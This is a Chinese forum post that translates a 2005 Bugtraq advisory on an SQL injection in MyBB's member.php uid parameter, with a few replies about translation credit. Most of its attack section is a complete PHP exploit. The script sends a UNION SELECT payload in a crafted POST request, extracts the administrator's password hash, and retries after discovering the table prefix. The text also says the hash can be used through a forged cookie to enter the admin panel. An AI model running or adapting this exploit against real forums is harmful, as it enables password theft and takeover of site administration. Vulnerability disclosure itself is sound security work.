[翻译]MyBB SQL注射漏洞
本文作者: 剑心[B.C.T]文章出处: 原创翻译
阅读次数: 2
发布日期: 2005-1-6
漏洞内容:MyBB SQL注射漏洞
资料来源:[url]http://marc.theaimsgroup.com/?l=bugtraq&m=110486566600980&w=2[/url]
发布日期:2005-01-04 19:07:46
漏洞公告:<20050105005302.16771.qmail () www ! securityfocus ! com>
漏洞描述:
MyBB是一款用Php和Mysql开发的强大的免费论坛程序包.MyBB为你和你的用户设计,你可以方便地控制你的论坛,修改你论坛的样式和主题。
漏洞利用:
MyBB在member.php中的uid变量可能存在一个sql注射漏洞,可以被Union查询来攻击从而得到admin管理员的加密密码。通过修改对应的cookie来登陆后台控制面板。
漏洞证明:
<?php
// 以下的例子将攻击[url]http://www.example.com/mybb/[/url]
echo 'Pass:' . get_pass('[url]www.example.com[/url]', '/mybb', '');
function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM \
{$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);
$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}
return $password;
}
?> 兄弟,翻译的版权也算原创.你辛苦了 [quote][b]下面是引用evilbogy于2005-01-07 01:56发表的:[/b]
兄弟,翻译的版权也算原创.你辛苦了[/quote]
希望不是贬义~~~哈哈哈翻译小组比较辛苦!!考试还要负责翻译 绝对不是贬义,是有法可依的.....hoho
我也刚完成了一篇主要是翻译的文章,累得要命.
页:
[1]